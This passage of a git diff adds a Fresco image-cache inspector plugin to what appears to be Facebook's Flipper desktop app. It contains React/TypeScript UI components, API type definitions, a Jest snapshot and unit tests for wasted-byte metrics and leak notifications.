: formatMB(data.sizeBytes);
|
||||
const onClear =
|
||||
data.clearKey !== undefined
|
||||
? () => this.props.onClear(data.clearKey as string)
|
||||
: undefined;
|
||||
return (
|
||||
<ImageGrid
|
||||
key={index}
|
||||
title={data.cacheType}
|
||||
subtitle={subtitle}
|
||||
images={data.imageIds}
|
||||
onImageSelected={this.onImageSelected}
|
||||
selectedImage={this.state.selectedImage}
|
||||
imagesMap={this.props.imagesMap}
|
||||
size={this.state.size}
|
||||
events={this.props.events}
|
||||
onClear={onClear}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</ImagesCacheOverview.Content>
|
||||
)}
|
||||
</ImagesCacheOverview.Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class ImageGrid extends PureComponent<{
|
||||
title: string;
|
||||
subtitle: string;
|
||||
images: Array<ImageId>;
|
||||
selectedImage: ImageId | null;
|
||||
onImageSelected: (image: ImageId) => void;
|
||||
onClear: (() => void) | undefined;
|
||||
imagesMap: ImagesMap;
|
||||
size: number;
|
||||
events: Array<ImageEventWithId>;
|
||||
}> {
|
||||
static Content = styled.div({
|
||||
paddingLeft: 15,
|
||||
});
|
||||
|
||||
render() {
|
||||
const {images, onImageSelected, selectedImage} = this.props;
|
||||
|
||||
if (images.length === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return [
|
||||
<ImageGridHeader
|
||||
key="header"
|
||||
title={this.props.title}
|
||||
subtitle={this.props.subtitle}
|
||||
onClear={this.props.onClear}
|
||||
/>,
|
||||
<ImageGrid.Content key="content">
|
||||
{images.map(imageId => (
|
||||
<ImageItem
|
||||
imageId={imageId}
|
||||
image={this.props.imagesMap[imageId]}
|
||||
key={imageId}
|
||||
selected={selectedImage != null && selectedImage === imageId}
|
||||
onSelected={onImageSelected}
|
||||
size={this.props.size}
|
||||
numberOfRequests={
|
||||
this.props.events.filter(e => e.imageIds.includes(imageId)).length
|
||||
}
|
||||
/>
|
||||
))}
|
||||
</ImageGrid.Content>,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
class ImageGridHeader extends PureComponent<{
|
||||
title: string;
|
||||
subtitle: string;
|
||||
onClear: (() => void) | undefined;
|
||||
}> {
|
||||
static Container = styled(FlexRow)({
|
||||
color: colors.dark70,
|
||||
paddingTop: 10,
|
||||
paddingBottom: 10,
|
||||
marginLeft: 15,
|
||||
marginRight: 15,
|
||||
marginBottom: 15,
|
||||
borderBottom: `1px solid ${colors.light10}`,
|
||||
flexShrink: 0,
|
||||
alignItems: 'center',
|
||||
position: 'sticky',
|
||||
top: 0,
|
||||
left: 0,
|
||||
right: 0,
|
||||
backgroundColor: colors.white,
|
||||
zIndex: 3,
|
||||
});
|
||||
|
||||
static Heading = styled.span({
|
||||
fontSize: 22,
|
||||
fontWeight: 600,
|
||||
});
|
||||
|
||||
static Subtitle = styled.span({
|
||||
fontSize: 22,
|
||||
fontWeight: 300,
|
||||
marginLeft: 15,
|
||||
});
|
||||
|
||||
static ClearButton = styled(Button)({
|
||||
alignSelf: 'center',
|
||||
height: 30,
|
||||
marginLeft: 'auto',
|
||||
width: 100,
|
||||
});
|
||||
|
||||
render() {
|
||||
return (
|
||||
<ImageGridHeader.Container>
|
||||
<ImageGridHeader.Heading>{this.props.title}</ImageGridHeader.Heading>
|
||||
<ImageGridHeader.Subtitle>
|
||||
{this.props.subtitle}
|
||||
</ImageGridHeader.Subtitle>
|
||||
<Spacer />
|
||||
{this.props.onClear ? (
|
||||
<ImageGridHeader.ClearButton onClick={this.props.onClear}>
|
||||
Clear Cache
|
||||
</ImageGridHeader.ClearButton>
|
||||
) : null}
|
||||
</ImageGridHeader.Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class ImageItem extends PureComponent<{
|
||||
imageId: ImageId;
|
||||
image: ImageData;
|
||||
selected: boolean;
|
||||
onSelected: (image: ImageId) => void;
|
||||
size: number;
|
||||
numberOfRequests: number;
|
||||
}> {
|
||||
static Container = styled(FlexBox)<{size: number}>(props => ({
|
||||
float: 'left',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
flexShrink: 0,
|
||||
height: props.size,
|
||||
width: props.size,
|
||||
borderRadius: 4,
|
||||
marginRight: 15,
|
||||
marginBottom: 15,
|
||||
backgroundColor: colors.light02,
|
||||
}));
|
||||
|
||||
static Image = styled.img({
|
||||
borderRadius: 4,
|
||||
maxHeight: '100%',
|
||||
maxWidth: '100%',
|
||||
objectFit: 'contain',
|
||||
});
|
||||
|
||||
static Loading = styled.span({
|
||||
padding: '0 0',
|
||||
});
|
||||
|
||||
static SelectedHighlight = styled.div<{selected: boolean}>(props => ({
|
||||
borderColor: colors.highlight,
|
||||
borderStyle: 'solid',
|
||||
borderWidth: props.selected ? 3 : 0,
|
||||
borderRadius: 4,
|
||||
boxShadow: props.selected ? `inset 0 0 0 1px ${colors.white}` : 'none',
|
||||
bottom: 0,
|
||||
left: 0,
|
||||
position: 'absolute',
|
||||
right: 0,
|
||||
top: 0,
|
||||
}));
|
||||
|
||||
static HoverOverlay = styled(FlexColumn)<{selected: boolean; size: number}>(
|
||||
props => ({
|
||||
alignItems: 'center',
|
||||
backgroundColor: colors.whiteAlpha80,
|
||||
bottom: props.selected ? 4 : 0,
|
||||
fontSize: props.size > 100 ? 16 : 11,
|
||||
justifyContent: 'center',
|
||||
left: props.selected ? 4 : 0,
|
||||
opacity: 0,
|
||||
position: 'absolute',
|
||||
right: props.selected ? 4 : 0,
|
||||
top: props.selected ? 4 : 0,
|
||||
overflow: 'hidden',
|
||||
transition: '.1s opacity',
|
||||
'&:hover': {
|
||||
opacity: 1,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
static MemoryLabel = styled.span({
|
||||
fontWeight: 600,
|
||||
marginBottom: 6,
|
||||
});
|
||||
|
||||
static SizeLabel = styled.span({
|
||||
fontWeight: 300,
|
||||
});
|
||||
|
||||
static Events = styled.div({
|
||||
position: 'absolute',
|
||||
top: -5,
|
||||
right: -5,
|
||||
color: colors.white,
|
||||
backgroundColor: colors.highlight,
|
||||
fontWeight: 600,
|
||||
borderRadius: 10,
|
||||
fontSize: '0.85em',
|
||||
zIndex: 2,
|
||||
lineHeight: '20px',
|
||||
width: 20,
|
||||
textAlign: 'center',
|
||||
});
|
||||
|
||||
static defaultProps = {
|
||||
size: 150,
|
||||
};
|
||||
|
||||
onClick = () => {
|
||||
this.props.onSelected(this.props.imageId);
|
||||
};
|
||||
|
||||
render() {
|
||||
const {image, selected, size, numberOfRequests} = this.props;
|
||||
|
||||
return (
|
||||
<ImageItem.Container onClick={this.onClick} size={size}>
|
||||
{numberOfRequests > 0 && image != null && (
|
||||
<ImageItem.Events>{numberOfRequests}</ImageItem.Events>
|
||||
)}
|
||||
{image != null ? (
|
||||
<ImageItem.Image src={image.data} />
|
||||
) : (
|
||||
<LoadingIndicator size={25} />
|
||||
)}
|
||||
<ImageItem.SelectedHighlight selected={selected} />
|
||||
{image != null && (
|
||||
<ImageItem.HoverOverlay selected={selected} size={size}>
|
||||
<ImageItem.MemoryLabel>
|
||||
{formatKB(image.sizeBytes)}
|
||||
</ImageItem.MemoryLabel>
|
||||
<ImageItem.SizeLabel>
|
||||
{image.width}×{image.height}
|
||||
</ImageItem.SizeLabel>
|
||||
</ImageItem.HoverOverlay>
|
||||
)}
|
||||
</ImageItem.Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
193
desktop/plugins/fresco/ImagesSidebar.tsx
Normal file
193
desktop/plugins/fresco/ImagesSidebar.tsx
Normal file
@@ -0,0 +1,193 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {ImageData} from './api';
|
||||
import {ImageEventWithId} from './index';
|
||||
import {
|
||||
Component,
|
||||
ContextMenu,
|
||||
DataDescription,
|
||||
Text,
|
||||
Panel,
|
||||
ManagedDataInspector,
|
||||
FlexColumn,
|
||||
FlexRow,
|
||||
colors,
|
||||
styled,
|
||||
} from 'flipper';
|
||||
import React from 'react';
|
||||
import {clipboard, MenuItemConstructorOptions} from 'electron';
|
||||
|
||||
type ImagesSidebarProps = {
|
||||
image: ImageData;
|
||||
events: Array<ImageEventWithId>;
|
||||
};
|
||||
|
||||
type ImagesSidebarState = {};
|
||||
|
||||
const DataDescriptionKey = styled.span({
|
||||
color: colors.grapeDark1,
|
||||
});
|
||||
|
||||
const WordBreakFlexColumn = styled(FlexColumn)({
|
||||
wordBreak: 'break-all',
|
||||
});
|
||||
|
||||
export default class ImagesSidebar extends Component<
|
||||
ImagesSidebarProps,
|
||||
ImagesSidebarState
|
||||
> {
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
{this.renderUri()}
|
||||
{this.props.events.map(e => (
|
||||
<EventDetails key={e.eventId} event={e} />
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
renderUri() {
|
||||
if (!this.props.image) {
|
||||
return null;
|
||||
}
|
||||
if (!this.props.image.uri) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const contextMenuItems: MenuItemConstructorOptions[] = [
|
||||
{
|
||||
label: 'Copy URI',
|
||||
click: () => clipboard.writeText(this.props.image.uri!),
|
||||
},
|
||||
];
|
||||
|
||||
return (
|
||||
<Panel heading="Sources" floating={false}>
|
||||
<FlexRow>
|
||||
<FlexColumn>
|
||||
<DataDescriptionKey>URI</DataDescriptionKey>
|
||||
</FlexColumn>
|
||||
<FlexColumn>
|
||||
<span key="sep">: </span>
|
||||
</FlexColumn>
|
||||
<WordBreakFlexColumn>
|
||||
<ContextMenu component="span" items={contextMenuItems}>
|
||||
<DataDescription
|
||||
type="string"
|
||||
value={this.props.image.uri}
|
||||
setValue={null}
|
||||
/>
|
||||
</ContextMenu>
|
||||
</WordBreakFlexColumn>
|
||||
</FlexRow>
|
||||
</Panel>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class EventDetails extends Component<{
|
||||
event: ImageEventWithId;
|
||||
}> {
|
||||
render() {
|
||||
const {event} = this.props;
|
||||
|
||||
return (
|
||||
<Panel
|
||||
heading={<RequestHeader event={event} />}
|
||||
floating={false}
|
||||
padded={true}>
|
||||
<p>
|
||||
<DataDescriptionKey>Attribution</DataDescriptionKey>
|
||||
<span key="sep">: </span>
|
||||
<ManagedDataInspector data={event.attribution} />
|
||||
</p>
|
||||
<p>
|
||||
<DataDescriptionKey>Time start</DataDescriptionKey>
|
||||
<span key="sep">: </span>
|
||||
<DataDescription
|
||||
type="number"
|
||||
value={event.startTime}
|
||||
setValue={function(path: Array<string>, val: any) {}}
|
||||
/>
|
||||
</p>
|
||||
<p>
|
||||
<DataDescriptionKey>Time end</DataDescriptionKey>
|
||||
<span key="sep">: </span>
|
||||
<DataDescription
|
||||
type="number"
|
||||
value={event.endTime}
|
||||
setValue={function(path: Array<string>, val: any) {}}
|
||||
/>
|
||||
</p>
|
||||
<p>
|
||||
<DataDescriptionKey>Source</DataDescriptionKey>
|
||||
<span key="sep">: </span>
|
||||
<DataDescription
|
||||
type="string"
|
||||
value={event.source}
|
||||
setValue={function(path: Array<string>, val: any) {}}
|
||||
/>
|
||||
</p>
|
||||
<p>
|
||||
<DataDescriptionKey>Requested on cold start</DataDescriptionKey>
|
||||
<span key="sep">: </span>
|
||||
<DataDescription
|
||||
type="boolean"
|
||||
value={event.coldStart}
|
||||
setValue={null}
|
||||
/>
|
||||
</p>
|
||||
{this.renderViewportData()}
|
||||
</Panel>
|
||||
);
|
||||
}
|
||||
|
||||
renderViewportData() {
|
||||
const viewport = this.props.event.viewport;
|
||||
if (!viewport) {
|
||||
return null;
|
||||
}
|
||||
return (
|
||||
<p>
|
||||
<DataDescriptionKey>Viewport</DataDescriptionKey>
|
||||
<span key="sep">: </span>
|
||||
<DataDescription
|
||||
type="string"
|
||||
value={viewport.width + 'x' + viewport.height}
|
||||
setValue={function(path: Array<string>, val: any) {}}
|
||||
/>
|
||||
</p>
|
||||
);
|
||||
// TODO (t31947746): grey box time, n-th scan time
|
||||
}
|
||||
}
|
||||
|
||||
class RequestHeader extends Component<{
|
||||
event: ImageEventWithId;
|
||||
}> {
|
||||
dateString = (timestamp: number) => {
|
||||
const date = new Date(timestamp);
|
||||
return `${date.toTimeString().split(' ')[0]}.${(
|
||||
'000' + date.getMilliseconds()
|
||||
).substr(-3)}`;
|
||||
};
|
||||
|
||||
render() {
|
||||
const {event} = this.props;
|
||||
const durationMs = event.endTime - event.startTime;
|
||||
return (
|
||||
<Text>
|
||||
{event.viewport ? 'Request' : 'Prefetch'} at{' '}
|
||||
{this.dateString(event.startTime)} ({durationMs}ms)
|
||||
</Text>
|
||||
);
|
||||
}
|
||||
}
|
||||
111
desktop/plugins/fresco/MultipleSelect.tsx
Normal file
111
desktop/plugins/fresco/MultipleSelect.tsx
Normal file
@@ -0,0 +1,111 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Block, Button, colors, FlexColumn, styled, Glyph} from 'flipper';
|
||||
import React, {ChangeEvent, Component} from 'react';
|
||||
|
||||
const Container = styled(Block)({
|
||||
position: 'relative',
|
||||
marginLeft: '10px',
|
||||
});
|
||||
|
||||
const List = styled(FlexColumn)<{visibleList: boolean}>(props => ({
|
||||
display: props.visibleList ? 'flex' : 'none',
|
||||
position: 'absolute',
|
||||
top: '32px',
|
||||
left: 0,
|
||||
zIndex: 4,
|
||||
width: 'auto',
|
||||
minWidth: '200px',
|
||||
backgroundColor: colors.white,
|
||||
borderWidth: '1px',
|
||||
borderStyle: 'solid',
|
||||
borderColor: colors.macOSTitleBarButtonBorderBottom,
|
||||
borderRadius: 4,
|
||||
}));
|
||||
|
||||
const ListItem = styled.label({
|
||||
cursor: 'pointer',
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
width: '100%',
|
||||
color: colors.light50,
|
||||
fontSize: '11px',
|
||||
padding: '0 5px',
|
||||
'&:hover': {
|
||||
backgroundColor: colors.macOSTitleBarButtonBackgroundActiveHighlight,
|
||||
},
|
||||
});
|
||||
|
||||
const Checkbox = styled.input({
|
||||
display: 'inline-block',
|
||||
marginRight: 5,
|
||||
verticalAlign: 'middle',
|
||||
});
|
||||
|
||||
const StyledGlyph = styled(Glyph)({
|
||||
marginLeft: '4px',
|
||||
});
|
||||
|
||||
type State = {
|
||||
visibleList: boolean;
|
||||
};
|
||||
|
||||
export default class MultipleSelect extends Component<
|
||||
{
|
||||
selected: Set<string>;
|
||||
|
||||
options: Set<string>;
|
||||
|
||||
onChange: (selectedItem: string, checked: boolean) => void;
|
||||
|
||||
label: string;
|
||||
},
|
||||
State
|
||||
> {
|
||||
state = {
|
||||
visibleList: false,
|
||||
};
|
||||
|
||||
handleOnChange = (event: ChangeEvent<HTMLInputElement>) => {
|
||||
const {
|
||||
target: {value, checked},
|
||||
} = event;
|
||||
this.props.onChange(value, checked);
|
||||
};
|
||||
|
||||
toggleList = () => this.setState({visibleList: !this.state.visibleList});
|
||||
|
||||
render() {
|
||||
const {selected, label, options} = this.props;
|
||||
const {visibleList} = this.state;
|
||||
const icon = visibleList ? 'chevron-up' : 'chevron-down';
|
||||
|
||||
return (
|
||||
<Container>
|
||||
<Button onClick={this.toggleList}>
|
||||
{label} <StyledGlyph name={icon} />
|
||||
</Button>
|
||||
<List visibleList={visibleList}>
|
||||
{Array.from(options).map((option, index) => (
|
||||
<ListItem key={index}>
|
||||
<Checkbox
|
||||
onChange={this.handleOnChange}
|
||||
checked={selected.has(option)}
|
||||
value={option}
|
||||
type="checkbox"
|
||||
/>
|
||||
{option}
|
||||
</ListItem>
|
||||
))}
|
||||
</List>
|
||||
</Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// Jest Snapshot v1, https://goo.gl/fbAQLP
|
||||
|
||||
exports[`notifications for leaks 1`] = `
|
||||
<React.Fragment>
|
||||
<Styled(div)>
|
||||
CloseableReference leaked for
|
||||
|
||||
<Text
|
||||
code={true}
|
||||
>
|
||||
com.facebook.imagepipeline.memory.NativeMemoryChunk
|
||||
</Text>
|
||||
(identity hashcode:
|
||||
deadbeef
|
||||
).
|
||||
</Styled(div)>
|
||||
<Styled(div)>
|
||||
<Text
|
||||
bold={true}
|
||||
>
|
||||
Stacktrace:
|
||||
</Text>
|
||||
</Styled(div)>
|
||||
<Styled(div)>
|
||||
<Text
|
||||
code={true}
|
||||
>
|
||||
<unavailable>
|
||||
</Text>
|
||||
</Styled(div)>
|
||||
</React.Fragment>
|
||||
`;
|
||||
324
desktop/plugins/fresco/__tests__/index.node.tsx
Normal file
324
desktop/plugins/fresco/__tests__/index.node.tsx
Normal file
@@ -0,0 +1,324 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import FrescoPlugin from '../index';
|
||||
import {PersistedState, ImageEventWithId} from '../index';
|
||||
import {AndroidCloseableReferenceLeakEvent} from '../api';
|
||||
import {MetricType, Notification} from 'flipper';
|
||||
import {ImagesMap} from '../ImagePool';
|
||||
|
||||
type ScanDisplayTime = {[scan_number: number]: number};
|
||||
|
||||
function mockPersistedState(
|
||||
imageSizes: Array<{
|
||||
width: number;
|
||||
height: number;
|
||||
}> = [],
|
||||
viewport: {
|
||||
width: number;
|
||||
height: number;
|
||||
} = {width: 150, height: 150},
|
||||
): PersistedState {
|
||||
const scanDisplayTime: ScanDisplayTime = {};
|
||||
scanDisplayTime[1] = 3;
|
||||
const events: Array<ImageEventWithId> = [
|
||||
{
|
||||
imageIds: [...Array(imageSizes.length).keys()].map(String),
|
||||
eventId: 0,
|
||||
attribution: [],
|
||||
startTime: 1,
|
||||
endTime: 2,
|
||||
source: 'source',
|
||||
coldStart: true,
|
||||
viewport: {...viewport, scanDisplayTime},
|
||||
},
|
||||
];
|
||||
|
||||
const imagesMap = imageSizes.reduce((acc, val, index) => {
|
||||
acc[index] = {
|
||||
imageId: String(index),
|
||||
width: val.width,
|
||||
height: val.height,
|
||||
sizeBytes: 10,
|
||||
data: 'undefined',
|
||||
};
|
||||
return acc;
|
||||
}, {} as ImagesMap);
|
||||
|
||||
return {
|
||||
surfaceList: new Set(),
|
||||
images: [],
|
||||
events,
|
||||
imagesMap,
|
||||
closeableReferenceLeaks: [],
|
||||
isLeakTrackingEnabled: false,
|
||||
nextEventId: 0,
|
||||
};
|
||||
}
|
||||
|
||||
test('the metric reducer for the input having regression', () => {
|
||||
const persistedState = mockPersistedState(
|
||||
[
|
||||
{
|
||||
width: 150,
|
||||
height: 150,
|
||||
},
|
||||
{
|
||||
width: 150,
|
||||
height: 150,
|
||||
},
|
||||
{
|
||||
width: 150,
|
||||
height: 150,
|
||||
},
|
||||
],
|
||||
{
|
||||
width: 100,
|
||||
height: 100,
|
||||
},
|
||||
);
|
||||
expect(FrescoPlugin.metricsReducer).toBeDefined();
|
||||
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
|
||||
const metrics = FrescoPlugin.metricsReducer(persistedState);
|
||||
return expect(metrics).resolves.toMatchObject({
|
||||
WASTED_BYTES: 37500,
|
||||
});
|
||||
});
|
||||
|
||||
test('the metric reducer for the input having no regression', () => {
|
||||
const persistedState = mockPersistedState(
|
||||
[
|
||||
{
|
||||
width: 50,
|
||||
height: 10,
|
||||
},
|
||||
{
|
||||
width: 50,
|
||||
height: 50,
|
||||
},
|
||||
{
|
||||
width: 50,
|
||||
height: 50,
|
||||
},
|
||||
],
|
||||
{
|
||||
width: 100,
|
||||
height: 100,
|
||||
},
|
||||
);
|
||||
const metricsReducer = FrescoPlugin.metricsReducer;
|
||||
expect(metricsReducer).toBeDefined();
|
||||
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
|
||||
const metrics = metricsReducer(persistedState);
|
||||
return expect(metrics).resolves.toMatchObject({
|
||||
WASTED_BYTES: 0,
|
||||
});
|
||||
});
|
||||
|
||||
test('the metric reducer for the default persisted state', () => {
|
||||
const metricsReducer = FrescoPlugin.metricsReducer;
|
||||
expect(metricsReducer).toBeDefined();
|
||||
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
|
||||
const metrics = metricsReducer(FrescoPlugin.defaultPersistedState);
|
||||
return expect(metrics).resolves.toMatchObject({WASTED_BYTES: 0});
|
||||
});
|
||||
|
||||
test('the metric reducer with the events data but with no imageData in imagesMap ', () => {
|
||||
const persistedState = mockPersistedState(
|
||||
[
|
||||
{
|
||||
width: 50,
|
||||
height: 10,
|
||||
},
|
||||
{
|
||||
width: 50,
|
||||
height: 50,
|
||||
},
|
||||
{
|
||||
width: 50,
|
||||
height: 50,
|
||||
},
|
||||
],
|
||||
{
|
||||
width: 100,
|
||||
height: 100,
|
||||
},
|
||||
);
|
||||
persistedState.imagesMap = {};
|
||||
const metricsReducer = FrescoPlugin.metricsReducer;
|
||||
expect(metricsReducer).toBeDefined();
|
||||
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
|
||||
const metrics = metricsReducer(persistedState);
|
||||
return expect(metrics).resolves.toMatchObject({WASTED_BYTES: 0});
|
||||
});
|
||||
|
||||
test('the metric reducer with the no viewPort data in events', () => {
|
||||
const persistedState = mockPersistedState(
|
||||
[
|
||||
{
|
||||
width: 50,
|
||||
height: 10,
|
||||
},
|
||||
{
|
||||
width: 50,
|
||||
height: 50,
|
||||
},
|
||||
{
|
||||
width: 50,
|
||||
height: 50,
|
||||
},
|
||||
],
|
||||
{
|
||||
width: 100,
|
||||
height: 100,
|
||||
},
|
||||
);
|
||||
delete persistedState.events[0].viewport;
|
||||
const metricsReducer = FrescoPlugin.metricsReducer;
|
||||
expect(metricsReducer).toBeDefined();
|
||||
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
|
||||
const metrics = metricsReducer(persistedState);
|
||||
return expect(metrics).resolves.toMatchObject({WASTED_BYTES: 0});
|
||||
});
|
||||
test('the metric reducer with the multiple events', () => {
|
||||
const scanDisplayTime: ScanDisplayTime = {};
|
||||
scanDisplayTime[1] = 3;
|
||||
const events: Array<ImageEventWithId> = [
|
||||
{
|
||||
imageIds: ['0', '1'],
|
||||
eventId: 0,
|
||||
attribution: [],
|
||||
startTime: 1,
|
||||
endTime: 2,
|
||||
source: 'source',
|
||||
coldStart: true,
|
||||
viewport: {width: 100, height: 100, scanDisplayTime},
|
||||
},
|
||||
{
|
||||
imageIds: ['2', '3'],
|
||||
eventId: 1,
|
||||
attribution: [],
|
||||
startTime: 1,
|
||||
endTime: 2,
|
||||
source: 'source',
|
||||
coldStart: true,
|
||||
viewport: {width: 50, height: 50, scanDisplayTime},
|
||||
},
|
||||
];
|
||||
const imageSizes = [
|
||||
{
|
||||
width: 150,
|
||||
height: 150,
|
||||
},
|
||||
{
|
||||
width: 100,
|
||||
height: 100,
|
||||
},
|
||||
{
|
||||
width: 250,
|
||||
height: 250,
|
||||
},
|
||||
{
|
||||
width: 300,
|
||||
height: 300,
|
||||
},
|
||||
];
|
||||
const imagesMap = imageSizes.reduce((acc, val, index) => {
|
||||
acc[index] = {
|
||||
imageId: String(index),
|
||||
width: val.width,
|
||||
height: val.height,
|
||||
sizeBytes: 10,
|
||||
data: 'undefined',
|
||||
};
|
||||
return acc;
|
||||
}, {} as ImagesMap);
|
||||
const persistedState = {
|
||||
surfaceList: new Set<string>(),
|
||||
images: [],
|
||||
nextEventId: 0,
|
||||
events,
|
||||
imagesMap,
|
||||
closeableReferenceLeaks: [],
|
||||
isLeakTrackingEnabled: true,
|
||||
};
|
||||
const metricsReducer = FrescoPlugin.metricsReducer;
|
||||
expect(metricsReducer).toBeDefined();
|
||||
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
|
||||
const metrics = metricsReducer(persistedState);
|
||||
return expect(metrics).resolves.toMatchObject({WASTED_BYTES: 160000});
|
||||
});
|
||||
|
||||
test('closeable reference metrics on empty state', () => {
|
||||
const metricsReducer: (
|
||||
persistedState: PersistedState,
|
||||
) => Promise<MetricType> = FrescoPlugin.metricsReducer;
|
||||
const persistedState = mockPersistedState();
|
||||
const metrics = metricsReducer(persistedState);
|
||||
return expect(metrics).resolves.toMatchObject({CLOSEABLE_REFERENCE_LEAKS: 0});
|
||||
});
|
||||
|
||||
test('closeable reference metrics on input', () => {
|
||||
const metricsReducer: (
|
||||
persistedState: PersistedState,
|
||||
) => Promise<MetricType> = FrescoPlugin.metricsReducer;
|
||||
const closeableReferenceLeaks: Array<AndroidCloseableReferenceLeakEvent> = [
|
||||
{
|
||||
identityHashCode: 'deadbeef',
|
||||
className: 'com.facebook.imagepipeline.memory.NativeMemoryChunk',
|
||||
stacktrace: null,
|
||||
},
|
||||
{
|
||||
identityHashCode: 'f4c3b00c',
|
||||
className: 'com.facebook.flipper.SomeMemoryAbstraction',
|
||||
stacktrace: null,
|
||||
},
|
||||
];
|
||||
const persistedState = {
|
||||
...mockPersistedState(),
|
||||
closeableReferenceLeaks,
|
||||
};
|
||||
const metrics = metricsReducer(persistedState);
|
||||
return expect(metrics).resolves.toMatchObject({CLOSEABLE_REFERENCE_LEAKS: 2});
|
||||
});
|
||||
|
||||
test('notifications for leaks', () => {
|
||||
const notificationReducer: (
|
||||
persistedState: PersistedState,
|
||||
) => Array<Notification> = FrescoPlugin.getActiveNotifications;
|
||||
const closeableReferenceLeaks: Array<AndroidCloseableReferenceLeakEvent> = [
|
||||
{
|
||||
identityHashCode: 'deadbeef',
|
||||
className: 'com.facebook.imagepipeline.memory.NativeMemoryChunk',
|
||||
stacktrace: null,
|
||||
},
|
||||
{
|
||||
identityHashCode: 'f4c3b00c',
|
||||
className: 'com.facebook.flipper.SomeMemoryAbstraction',
|
||||
stacktrace: null,
|
||||
},
|
||||
];
|
||||
const persistedStateWithoutTracking = {
|
||||
...mockPersistedState(),
|
||||
closeableReferenceLeaks,
|
||||
isLeakTrackingEnabled: false,
|
||||
};
|
||||
const emptyNotifs = notificationReducer(persistedStateWithoutTracking);
|
||||
expect(emptyNotifs).toHaveLength(0);
|
||||
|
||||
const persistedStateWithTracking = {
|
||||
...mockPersistedState(),
|
||||
closeableReferenceLeaks,
|
||||
isLeakTrackingEnabled: true,
|
||||
};
|
||||
const notifs = notificationReducer(persistedStateWithTracking);
|
||||
expect(notifs).toHaveLength(2);
|
||||
expect(notifs[0].message).toMatchSnapshot();
|
||||
expect(notifs[1].title).toContain('SomeMemoryAbstraction');
|
||||
});
|
||||
77
desktop/plugins/fresco/api.tsx
Normal file
77
desktop/plugins/fresco/api.tsx
Normal file
@@ -0,0 +1,77 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
export type ImageId = string;
|
||||
|
||||
// Listing images
|
||||
|
||||
export type CacheInfo = {
|
||||
cacheType: string;
|
||||
clearKey?: string; // set this if this cache level supports clear(<key>)
|
||||
sizeBytes: number;
|
||||
maxSizeBytes?: number;
|
||||
imageIds: Array<ImageId>;
|
||||
};
|
||||
|
||||
export type ImagesList = Array<CacheInfo>;
|
||||
|
||||
// The iOS Flipper api does not support a top-level array, so we wrap it in an object
|
||||
export type ImagesListResponse = {
|
||||
levels: ImagesList;
|
||||
};
|
||||
|
||||
// listImages() -> ImagesListResponse
|
||||
|
||||
// Getting details on a specific image
|
||||
|
||||
export type ImageBytes = string;
|
||||
|
||||
export type ImageData = {
|
||||
imageId: ImageId;
|
||||
uri?: string;
|
||||
width: number;
|
||||
height: number;
|
||||
sizeBytes: number;
|
||||
data: ImageBytes;
|
||||
surface?: string;
|
||||
};
|
||||
|
||||
// getImage({imageId: string}) -> ImageData
|
||||
|
||||
// Subscribing to image events (requests and prefetches)
|
||||
|
||||
export type Timestamp = number;
|
||||
|
||||
export type ViewportData = {
|
||||
width: number;
|
||||
height: number;
|
||||
scanDisplayTime: {[scan_number: number]: Timestamp};
|
||||
};
|
||||
|
||||
export type ImageEvent = {
|
||||
imageIds: Array<ImageId>;
|
||||
attribution: Array<string>;
|
||||
startTime: Timestamp;
|
||||
endTime: Timestamp;
|
||||
source: string;
|
||||
coldStart: boolean;
|
||||
viewport?: ViewportData; // not set for prefetches
|
||||
};
|
||||
|
||||
// Misc
|
||||
|
||||
export type FrescoDebugOverlayEvent = {
|
||||
enabled: boolean;
|
||||
};
|
||||
|
||||
export type AndroidCloseableReferenceLeakEvent = {
|
||||
identityHashCode: string;
|
||||
className: string;
|
||||
stacktrace: string | null;
|
||||
};
|
||||
500
desktop/plugins/fresco/index.tsx
Normal file
500
desktop/plugins/fresco/index.tsx
Normal file
@@ -0,0 +1,500 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
ImageId,
|
||||
ImageData,
|
||||
ImagesList,
|
||||
ImagesListResponse,
|
||||
ImageEvent,
|
||||
FrescoDebugOverlayEvent,
|
||||
AndroidCloseableReferenceLeakEvent,
|
||||
CacheInfo,
|
||||
} from './api';
|
||||
